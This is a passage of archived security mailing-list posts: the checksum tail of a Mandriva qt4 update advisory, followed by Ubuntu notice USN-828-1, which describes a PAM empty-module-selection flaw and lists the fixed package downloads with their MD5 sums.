 25ef7ae8fc7bcb0875046347abddaf2e  2009.1/x86_64/lib64qtxml4-4.5.2-1.4mdv2009.1.x86_64.rpm
 a2d002a440b4bd33cc05592ea3a48d4c  2009.1/x86_64/lib64qtxmlpatterns4-4.5.2-1.4mdv2009.1.x86_64.rpm
 0611975777f48a60525af58fc87572cd  2009.1/x86_64/qt4-accessibility-plugin-4.5.2-1.4mdv2009.1.x86_64.rpm
 0ef334dda35fa8a9382e25889496bf04  2009.1/x86_64/qt4-assistant-4.5.2-1.4mdv2009.1.x86_64.rpm
 79d0a99a5a61c63fc41bf08654bb0e41  2009.1/x86_64/qt4-common-4.5.2-1.4mdv2009.1.x86_64.rpm
 ea0f80e65d83db575f4e326bd5701c77  2009.1/x86_64/qt4-database-plugin-mysql-4.5.2-1.4mdv2009.1.x86_64.rpm
 6d248fade8ffedfd4d445baae775c942  2009.1/x86_64/qt4-database-plugin-odbc-4.5.2-1.4mdv2009.1.x86_64.rpm
 d166e598090bb0c51bb784f2c36c37d3  2009.1/x86_64/qt4-database-plugin-pgsql-4.5.2-1.4mdv2009.1.x86_64.rpm
 2fb0b42d4db487a853a387a0436250b1  2009.1/x86_64/qt4-database-plugin-sqlite-4.5.2-1.4mdv2009.1.x86_64.rpm
 a2b30140d156c30a2b51859dfdcb6058  2009.1/x86_64/qt4-database-plugin-tds-4.5.2-1.4mdv2009.1.x86_64.rpm
 123582d5b2797db92c92de4b3035b2a3  2009.1/x86_64/qt4-designer-4.5.2-1.4mdv2009.1.x86_64.rpm
 a6acdd2d2cf72450cbfafbdcce8de14b  2009.1/x86_64/qt4-doc-4.5.2-1.4mdv2009.1.x86_64.rpm
 f91e7ac39ff8ceac3e388e8c0e0092bb  2009.1/x86_64/qt4-examples-4.5.2-1.4mdv2009.1.x86_64.rpm
 47cb7db983032b0b1bc99b9076b1e2a6  2009.1/x86_64/qt4-graphicssystems-plugin-4.5.2-1.4mdv2009.1.x86_64.rpm
 e4a95559aff6f3040e9cf70a21571c0c  2009.1/x86_64/qt4-linguist-4.5.2-1.4mdv2009.1.x86_64.rpm
 31769c7e3a9114ad2baa0ec2ecc51ec7  2009.1/x86_64/qt4-qdoc3-4.5.2-1.4mdv2009.1.x86_64.rpm
 803a5567c991b9b4d1d393faa99ce4f9  2009.1/x86_64/qt4-qtconfig-4.5.2-1.4mdv2009.1.x86_64.rpm
 e0932731675cade4d8af28f73076cb66  2009.1/x86_64/qt4-qtdbus-4.5.2-1.4mdv2009.1.x86_64.rpm
 80a1e75207a94459f7a5d170e039040f  2009.1/x86_64/qt4-qvfb-4.5.2-1.4mdv2009.1.x86_64.rpm
 74353dc01bda76eac82e627d3bd4394f  2009.1/x86_64/qt4-xmlpatterns-4.5.2-1.4mdv2009.1.x86_64.rpm 
 ba2b427b637644c9e2ae052e440db3ca  2009.1/SRPMS/qt4-4.5.2-1.4mdv2009.1.src.rpm

 Mandriva Enterprise Server 5:
 6dab5b4352861791d2e9c66844e8f7cc  mes5/i586/libqassistant4-4.4.3-1.1mdvmes5.i586.rpm
 5b5f04166167f6b65bb09f1cdc4ff418  mes5/i586/libqt3support4-4.4.3-1.1mdvmes5.i586.rpm
 f8d7a36ceff46f2379a9405e174e7ef2  mes5/i586/libqt4-devel-4.4.3-1.1mdvmes5.i586.rpm
 3e1cda13224d2eb90358948d6bfe0ca7  mes5/i586/libqtclucene4-4.4.3-1.1mdvmes5.i586.rpm
 381b32c3d329709faeab69af54685426  mes5/i586/libqtcore4-4.4.3-1.1mdvmes5.i586.rpm
 2068b07d29956817643d3a56dc22e8f6  mes5/i586/libqtdbus4-4.4.3-1.1mdvmes5.i586.rpm
 143f967ce65bb0c2a93366c0aa7f72a6  mes5/i586/libqtdesigner4-4.4.3-1.1mdvmes5.i586.rpm
 d14b1405301030a42d13f177edb44d3f  mes5/i586/libqtgui4-4.4.3-1.1mdvmes5.i586.rpm
 dadc72b3fcd68c0e9551ae08f8531533  mes5/i586/libqthelp4-4.4.3-1.1mdvmes5.i586.rpm
 a73d8530564ca8b1d44dbb1db5f65692  mes5/i586/libqtnetwork4-4.4.3-1.1mdvmes5.i586.rpm
 08e560d95d4593ce0666a46557abb83a  mes5/i586/libqtopengl4-4.4.3-1.1mdvmes5.i586.rpm
 e96273da78f150bef55286cb645c14f4  mes5/i586/libqtscript4-4.4.3-1.1mdvmes5.i586.rpm
 d01ed62e2ecd569ff8f063111d364422  mes5/i586/libqtsql4-4.4.3-1.1mdvmes5.i586.rpm
 32933d8323bef2ed63a0893fc834c300  mes5/i586/libqtsvg4-4.4.3-1.1mdvmes5.i586.rpm
 8a403e86299f148f522028898ecb8748  mes5/i586/libqttest4-4.4.3-1.1mdvmes5.i586.rpm
 28121e2bb1edfd668af72eda7d6a7c0e  mes5/i586/libqtwebkit4-4.4.3-1.1mdvmes5.i586.rpm
 3564638af5cb81c575aa4cbf33385169  mes5/i586/libqtxml4-4.4.3-1.1mdvmes5.i586.rpm
 a1ac714f01d23f77e6806ef455162714  mes5/i586/libqtxmlpatterns4-4.4.3-1.1mdvmes5.i586.rpm
 414ac53798e391740795c46bb8eb02b7  mes5/i586/qt4-accessibility-plugin-lib-4.4.3-1.1mdvmes5.i586.rpm
 f3fb1ba455217b4964b0a34c24a0da6b  mes5/i586/qt4-assistant-4.4.3-1.1mdvmes5.i586.rpm
 05227c7aa487f260eb4af4a72bf322b3  mes5/i586/qt4-common-4.4.3-1.1mdvmes5.i586.rpm
 93a8c12b8c890dd6ac1e7acd1f125bac  mes5/i586/qt4-database-plugin-mysql-lib-4.4.3-1.1mdvmes5.i586.rpm
 fbd40034720f238214813e582aa837d9  mes5/i586/qt4-database-plugin-odbc-lib-4.4.3-1.1mdvmes5.i586.rpm
 b5d563d9008dd85cc73b0c27ddc6fd9e  mes5/i586/qt4-database-plugin-pgsql-lib-4.4.3-1.1mdvmes5.i586.rpm
 bf7d17080c5e228a39792bb0913a9253  mes5/i586/qt4-database-plugin-sqlite-lib-4.4.3-1.1mdvmes5.i586.rpm
 fdf84439ea6570d5730f5ebc8957b8d4  mes5/i586/qt4-designer-4.4.3-1.1mdvmes5.i586.rpm
 0f758d6b30b5d83951193628ab870214  mes5/i586/qt4-doc-4.4.3-1.1mdvmes5.i586.rpm
 0a0e034feb424384c692221d64472d90  mes5/i586/qt4-examples-4.4.3-1.1mdvmes5.i586.rpm
 1ede5a58758447c3ac4debbf7c63b796  mes5/i586/qt4-linguist-4.4.3-1.1mdvmes5.i586.rpm
 a2cd930d1c7a3d63dd917ecabfeacbb7  mes5/i586/qt4-qtconfig-4.4.3-1.1mdvmes5.i586.rpm
 486dfd1d8fcb5cf8cf4494528944305d  mes5/i586/qt4-qtdbus-4.4.3-1.1mdvmes5.i586.rpm
 70303d543e001142fb16d8f8c247cc85  mes5/i586/qt4-qvfb-4.4.3-1.1mdvmes5.i586.rpm
 a03bb20031295de711faf022052dc363  mes5/i586/qt4-xmlpatterns-4.4.3-1.1mdvmes5.i586.rpm 
 8e6542cfb9f71065cf2135143286905e  mes5/SRPMS/qt4-4.4.3-1.1mdvmes5.src.rpm

 Mandriva Enterprise Server 5/X86_64:
 51d1fb7d404b412c232463454f8fbbf9  mes5/x86_64/lib64qassistant4-4.4.3-1.1mdvmes5.x86_64.rpm
 8d37e2870bd68f953f1a5ee0a69afaa1  mes5/x86_64/lib64qt3support4-4.4.3-1.1mdvmes5.x86_64.rpm
 453f839e0367104c1ffed17533072488  mes5/x86_64/lib64qt4-devel-4.4.3-1.1mdvmes5.x86_64.rpm
 cc348afa0bd63d4d2f2d6ec9e59f2aca  mes5/x86_64/lib64qtclucene4-4.4.3-1.1mdvmes5.x86_64.rpm
 a84b47e7dc3f9f67c8f6ad43176c2370  mes5/x86_64/lib64qtcore4-4.4.3-1.1mdvmes5.x86_64.rpm
 aead498329b43cfc1210f2a1ea608375  mes5/x86_64/lib64qtdbus4-4.4.3-1.1mdvmes5.x86_64.rpm
 ee717732bda774e10cd3ca21f7936dea  mes5/x86_64/lib64qtdesigner4-4.4.3-1.1mdvmes5.x86_64.rpm
 f199108dcce669cb74a850b577e55a67  mes5/x86_64/lib64qtgui4-4.4.3-1.1mdvmes5.x86_64.rpm
 100aa8902b8d88499772512d412d4a28  mes5/x86_64/lib64qthelp4-4.4.3-1.1mdvmes5.x86_64.rpm
 719a91aa60cb7ad92c7ba21b1971e5c0  mes5/x86_64/lib64qtnetwork4-4.4.3-1.1mdvmes5.x86_64.rpm
 b7a62f4e3e06381343d364dde342fa7a  mes5/x86_64/lib64qtopengl4-4.4.3-1.1mdvmes5.x86_64.rpm
 fd598160347f59354e4f915be6a8d442  mes5/x86_64/lib64qtscript4-4.4.3-1.1mdvmes5.x86_64.rpm
 13cc8a9ae362634aaf1b6a965c892e70  mes5/x86_64/lib64qtsql4-4.4.3-1.1mdvmes5.x86_64.rpm
 a9e1a49d36f0bdef47e30f37705c60d3  mes5/x86_64/lib64qtsvg4-4.4.3-1.1mdvmes5.x86_64.rpm
 2aedb02ce51f8795ee4066c3794ee983  mes5/x86_64/lib64qttest4-4.4.3-1.1mdvmes5.x86_64.rpm
 3b681e6c1aa6356f35dee66cddfe0bf9  mes5/x86_64/lib64qtwebkit4-4.4.3-1.1mdvmes5.x86_64.rpm
 0b1606c177d245352b46185dab735887  mes5/x86_64/lib64qtxml4-4.4.3-1.1mdvmes5.x86_64.rpm
 7ef7becb19b5944f89ef67a3bfca94e4  mes5/x86_64/lib64qtxmlpatterns4-4.4.3-1.1mdvmes5.x86_64.rpm
 598723e3efa4851df97a671734899719  mes5/x86_64/qt4-accessibility-plugin-lib64-4.4.3-1.1mdvmes5.x86_64.rpm
 9bbfb3a3635228c1b2d033e3738efe60  mes5/x86_64/qt4-assistant-4.4.3-1.1mdvmes5.x86_64.rpm
 c8c4acf66f09afa84bc65c61582f0c8a  mes5/x86_64/qt4-common-4.4.3-1.1mdvmes5.x86_64.rpm
 b9853a79c82f3acbf5d272d2a03f196e  mes5/x86_64/qt4-database-plugin-mysql-lib64-4.4.3-1.1mdvmes5.x86_64.rpm
 49819189b126bee1b7ccd847ec51a583  mes5/x86_64/qt4-database-plugin-odbc-lib64-4.4.3-1.1mdvmes5.x86_64.rpm
 8203263572ccc75822aa505b80fdeba0  mes5/x86_64/qt4-database-plugin-pgsql-lib64-4.4.3-1.1mdvmes5.x86_64.rpm
 cf200cfa8ec444191cdd004781da7d84  mes5/x86_64/qt4-database-plugin-sqlite-lib64-4.4.3-1.1mdvmes5.x86_64.rpm
 383e8baae8301b06ef2539bf02741969  mes5/x86_64/qt4-designer-4.4.3-1.1mdvmes5.x86_64.rpm
 f10a7aec7d82ac20e89439350a6cdb77  mes5/x86_64/qt4-doc-4.4.3-1.1mdvmes5.x86_64.rpm
 c28a00e567bbf9cafdec4913c359ab23  mes5/x86_64/qt4-examples-4.4.3-1.1mdvmes5.x86_64.rpm
 acfe2e3ebc80d1c1bc1065ff166d4f7d  mes5/x86_64/qt4-linguist-4.4.3-1.1mdvmes5.x86_64.rpm
 02c4bcc9514b8c77cc0357b62c5eabf1  mes5/x86_64/qt4-qtconfig-4.4.3-1.1mdvmes5.x86_64.rpm
 567322d54d96cef40ca8ae487180b194  mes5/x86_64/qt4-qtdbus-4.4.3-1.1mdvmes5.x86_64.rpm
 476f0e47ead448f0c1fa9622f830ede9  mes5/x86_64/qt4-qvfb-4.4.3-1.1mdvmes5.x86_64.rpm
 2d38f1e4dd2d4e008a44dc138edd1c60  mes5/x86_64/qt4-xmlpatterns-4.4.3-1.1mdvmes5.x86_64.rpm 
 8e6542cfb9f71065cf2135143286905e  mes5/SRPMS/qt4-4.4.3-1.1mdvmes5.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 _______________________________________________________________________

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFKplfBmqjQ0CJFipgRAtjyAJ46d0Cyi2XB9gCpUtAQUabOyVjTAgCffuGq
BCaSemxCUSF0hiNsvtBeFw0=
=bKvo
-----END PGP SIGNATURE-----


From kees at ubuntu.com  Tue Sep  8 23:31:16 2009
From: kees at ubuntu.com (Kees Cook)
Date: Tue, 8 Sep 2009 15:31:16 -0700
Subject: [Full-disclosure] [USN-828-1] PAM vulnerability
Message-ID: <20090908223116.GF7304@outflux.net>

===========================================================
Ubuntu Security Notice USN-828-1         September 08, 2009
pam vulnerability
https://launchpad.net/bugs/410171
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 8.10
Ubuntu 9.04

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 8.10:
  libpam-runtime                  1.0.1-4ubuntu5.6

Ubuntu 9.04:
  libpam-runtime                  1.0.1-9ubuntu1.1

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

Russell Senior discovered that the system authentication module
selection mechanism for PAM did not safely handle an empty selection.
If an administrator had specifically removed the default list of modules
or failed to chose a module when operating debconf in a very unlikely
non-default configuration, PAM would allow any authentication attempt,
which could lead to remote attackers gaining access to a system with
arbitrary privileges.  This did not affect default Ubuntu installations.


Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.0.1-4ubuntu5.6.diff.gz
      Size/MD5:   163787 1fe83c5f51260520402bd43e33267d4f
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.0.1-4ubuntu5.6.dsc
      Size/MD5:     1632 5962a19a022e6eb7af577b88719a64c4
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.0.1.orig.tar.gz
      Size/MD5:  1597124 bcaa5d9bf84137e0d128b2ff9b63b1d7

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-doc_1.0.1-4ubuntu5.6_all.deb
      Size/MD5:   292106 89104df9cea238eb924fa7fbb0f80d35
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-runtime_1.0.1-4ubuntu5.6_all.deb
      Size/MD5:    89482 94993aae326381ddcd4279ed9c61e357

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-cracklib_1.0.1-4ubuntu5.6_amd64.deb
      Size/MD5:    71576 f46ffb12fc109a58b2ebe9d36fd1173e
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-modules_1.0.1-4ubuntu5.6_amd64.deb
      Size/MD5:   312240 ccade228ed92c9f524b088617b42ce64
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g-dev_1.0.1-4ubuntu5.6_amd64.deb
      Size/MD5:   169324 8fce97f395a60b4ad7f821827458e7ab
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g_1.0.1-4ubuntu5.6_amd64.deb
      Size/MD5:   113888 5b6fd51cbc3f936e6e11fdb1a9131a52

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-cracklib_1.0.1-4ubuntu5.6_i386.deb
      Size/MD5:    71552 360601c0c24308561fe7d50a9b9bc5e7
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-modules_1.0.1-4ubuntu5.6_i386.deb
      Size/MD5:   299738 020d7196d87df2cdf17c739f9e6bf0f5
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g-dev_1.0.1-4ubuntu5.6_i386.deb
      Size/MD5:   167018 69ed60f901436960e21e0b604ae4b19b
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g_1.0.1-4ubuntu5.6_i386.deb
      Size/MD5:   111132 4afeb993ed5910e108c3fc4f9ba645b5

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/p/pam/libpam-cracklib_1.0.1-4ubuntu5.6_lpia.deb
      Size/MD5:    71470 112033e2f1f641fec967e28f3503f88e
    http://ports.ubuntu.com/pool/main/p/pam/libpam-modules_1.0.1-4ubuntu5.6_lpia.deb
      Size/MD5:   295984 c8303ffbb776fdce4e20c999150f3549
    http://ports.ubuntu.com/pool/main/p/pam/libpam0g-dev_1.0.1-4ubuntu5.6_lpia.deb
      Size/MD5:   165548 a8502044f6c5fac5900559d0e85fc62f
    http://ports.ubuntu.com/pool/main/p/pam/libpam0g_1.0.1-4ubuntu5.6_lpia.deb
      Size/MD5:   110474 86c7473158e190237969445a51c49d30

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/p/pam/libpam-cracklib_1.0.1-4ubuntu5.6_powerpc.deb
      Size/MD5:    72010 da7ce309e25fade724ff291120d1866d
    http://ports.ubuntu.com/pool/main/p/pam/libpam-modules_1.0.1-4ubuntu5.6_powerpc.deb
      Size/MD5:   329746 19febf8a9d5e3a62c0957dff09dfc8c8
    http://ports.ubuntu.com/pool/main/p/pam/libpam0g-dev_1.0.1-4ubuntu5.6_powerpc.deb
      Size/MD5:   167526 40420891673085c3889ebba39b1a92b7
    http://ports.ubuntu.com/pool/main/p/pam/libpam0g_1.0.1-4ubuntu5.6_powerpc.deb
      Size/MD5:   114658 06a1523fa01a77ec8eb2f8eec8e7b4bf

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/p/pam/libpam-cracklib_1.0.1-4ubuntu5.6_sparc.deb
      Size/MD5:    71854 3762836827676a721f744c06067a9ed5
    http://ports.ubuntu.com/pool/main/p/pam/libpam-modules_1.0.1-4ubuntu5.6_sparc.deb
      Size/MD5:   307930 5afecfdbe6783dead53c8163987c053e
    http://ports.ubuntu.com/pool/main/p/pam/libpam0g-dev_1.0.1-4ubuntu5.6_sparc.deb
      Size/MD5:   165724 953d7c06d9e969205590547908a218ff
    http://ports.ubuntu.com/pool/main/p/pam/libpam0g_1.0.1-4ubuntu5.6_sparc.deb
      Size/MD5:   110084 e59026f8d7ef007226c5c7f655c96715

Updated packages for Ubuntu 9.04:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.0.1-9ubuntu1.1.diff.gz
      Size/MD5:   175094 bd19264e4bc268b93ea8051891d60358
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.0.1-9ubuntu1.1.dsc
      Size/MD5:     1647 d8f0a97594fc195887fba7571c4c3a8a
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.0.1.orig.tar.gz
      Size/MD5:  1597124 bcaa5d9bf84137e0d128b2ff9b63b1d7

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-doc_1.0.1-9ubuntu1.1_all.deb
      Size/MD5:   294386 a1dc4b7037ad23c3d89d319f0187248c
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-runtime_1.0.1-9ubuntu1.1_all.deb
      Size/MD5:    96516 144e443069b69c0aaf79ad5b2301a7c1

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-cracklib_1.0.1-9ubuntu1.1_amd64.deb
      Size/MD5:    73552 ff6f45229dd25e013d2c0acdd7e5898c
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-modules_1.0.1-9ubuntu1.1_amd64.deb
      Size/MD5:   320028 410602c6accef6cb82e83ad3c32c12ac
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g-dev_1.0.1-9ubuntu1.1_amd64.deb
      Size/MD5:   171200 56ee87d117327fbb902291405e674350
    http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g_1.0.1-9ubuntu1.1_amd64.deb
      Size/MD5: